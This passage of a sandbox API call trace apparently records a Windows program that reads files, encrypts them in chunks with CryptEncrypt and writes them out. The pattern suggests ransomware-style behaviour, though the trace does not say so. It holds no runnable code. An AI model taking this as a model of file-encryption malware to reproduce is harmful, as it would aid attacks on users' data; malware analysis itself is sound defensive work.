wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0058.856] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0058.856] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0058.884] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0058.884] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0058.884] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621ac8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0058.884] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0058.885] CryptEncrypt (in: hKey=0x164c530, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x516e020*, pdwDataLen=0x130e618*=0x100000, dwBufLen=0x100000 | out: pbData=0x516e020*, pdwDataLen=0x130e618*=0x100000) returned 1 [0058.886] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0058.886] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0058.886] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0058.961] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0058.961] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0058.961] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0058.961] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0058.961] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0058.961] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0058.961] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0058.961] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0058.961] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0058.961] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0058.962] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0058.962] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0058.962] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0058.962] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0059.153] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0059.172] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0059.172] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0059.188] WriteFile (in: hFile=0x3bc, lpBuffer=0x4f45020*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x4f45020*, lpNumberOfBytesWritten=0x130f01c*=0x100000, lpOverlapped=0x0) returned 1 [0059.232] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0059.232] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0059.232] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0059.234] ReadFile (in: hFile=0x2ac, lpBuffer=0x17a9dc0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17a9dc0*, lpNumberOfBytesRead=0x130edb0*=0x10000, lpOverlapped=0x0) returned 1 [0059.267] ReadFile (in: hFile=0x2ac, lpBuffer=0x17a9dc0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17a9dc0*, lpNumberOfBytesRead=0x130edb0*=0x3f58, lpOverlapped=0x0) returned 1 [0059.402] ReadFile (in: hFile=0x2ac, lpBuffer=0x17a9dc0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17a9dc0*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0059.426] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 1 [0059.431] TranslateMessage (lpMsg=0x130f164) returned 0 [0059.431] DispatchMessageW (lpMsg=0x130f164) returned 0x0 [0059.431] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130e7c8) returned 1 [0059.435] KillTimer (hWnd=0x70084, uIDEvent=0x1) returned 1 [0059.435] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0059.435] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0059.435] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0059.442] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0059.455] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0059.456] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0059.456] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0059.456] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0059.456] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0059.456] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0059.456] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0059.457] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0059.457] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0059.457] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0059.457] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0059.457] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0059.457] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164dfb0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0059.457] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0059.457] CryptGetKeyParam (in: hKey=0x164c530, dwParam=0x7, pbData=0x1629550, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x1629550*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0059.457] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0059.457] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0059.457] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0059.458] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0059.458] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0059.458] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0059.458] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0059.458] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0059.458] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0059.458] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0059.458] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0059.458] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0059.458] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0059.458] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0059.458] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0059.458] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0059.458] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0059.458] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0059.458] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0059.458] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0059.459] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0059.459] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0059.459] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0059.459] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0059.460] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0059.460] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0059.460] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621690, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0059.460] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0059.460] CryptEncrypt (in: hKey=0x164c530, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0x13f58, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0x13f60) returned 1 [0059.460] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0059.460] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0059.460] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0059.460] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0059.460] CharLowerBuffW (in: lpsz="byte[81761]", cchLength=0xb | out: lpsz="byte[81761]") returned 0xb [0059.460] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0059.462] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0059.462] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0059.462] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0059.462] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0059.462] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0059.463] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621ab0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0059.463] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0059.463] CryptEncrypt (in: hKey=0x164c530, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x1805bf0*, pdwDataLen=0x130e618*=0x13f58, dwBufLen=0x13f60 | out: pbData=0x1805bf0*, pdwDataLen=0x130e618*=0x13f60) returned 1 [0059.463] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0059.463] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0059.463] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0059.463] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0059.463] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0059.463] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0059.463] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0059.464] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0059.464] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0059.464] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0059.464] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0059.464] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0059.464] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0059.464] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0059.464] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0059.464] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0059.464] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0059.498] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0059.500] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0059.501] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0059.501] WriteFile (in: hFile=0x3bc, lpBuffer=0x17ddd38*, nNumberOfBytesToWrite=0x13f60, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x17ddd38*, lpNumberOfBytesWritten=0x130f01c*=0x13f60, lpOverlapped=0x0) returned 1 [0059.505] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0059.505] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0059.505] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0059.505] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0059.505] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0059.505] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0059.505] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0059.506] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0059.506] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x1621558, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0059.506] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0059.514] CryptDestroyKey (hKey=0x164c530) returned 1 [0059.514] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0059.514] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0059.514] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0059.515] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0059.515] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0059.515] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0059.515] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0059.515] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0059.515] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0059.515] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0059.515] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0059.515] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0059.515] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0059.515] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0059.515] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0059.515] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0059.515] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0059.515] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0059.529] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0059.529] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0059.529] PeekMessageW 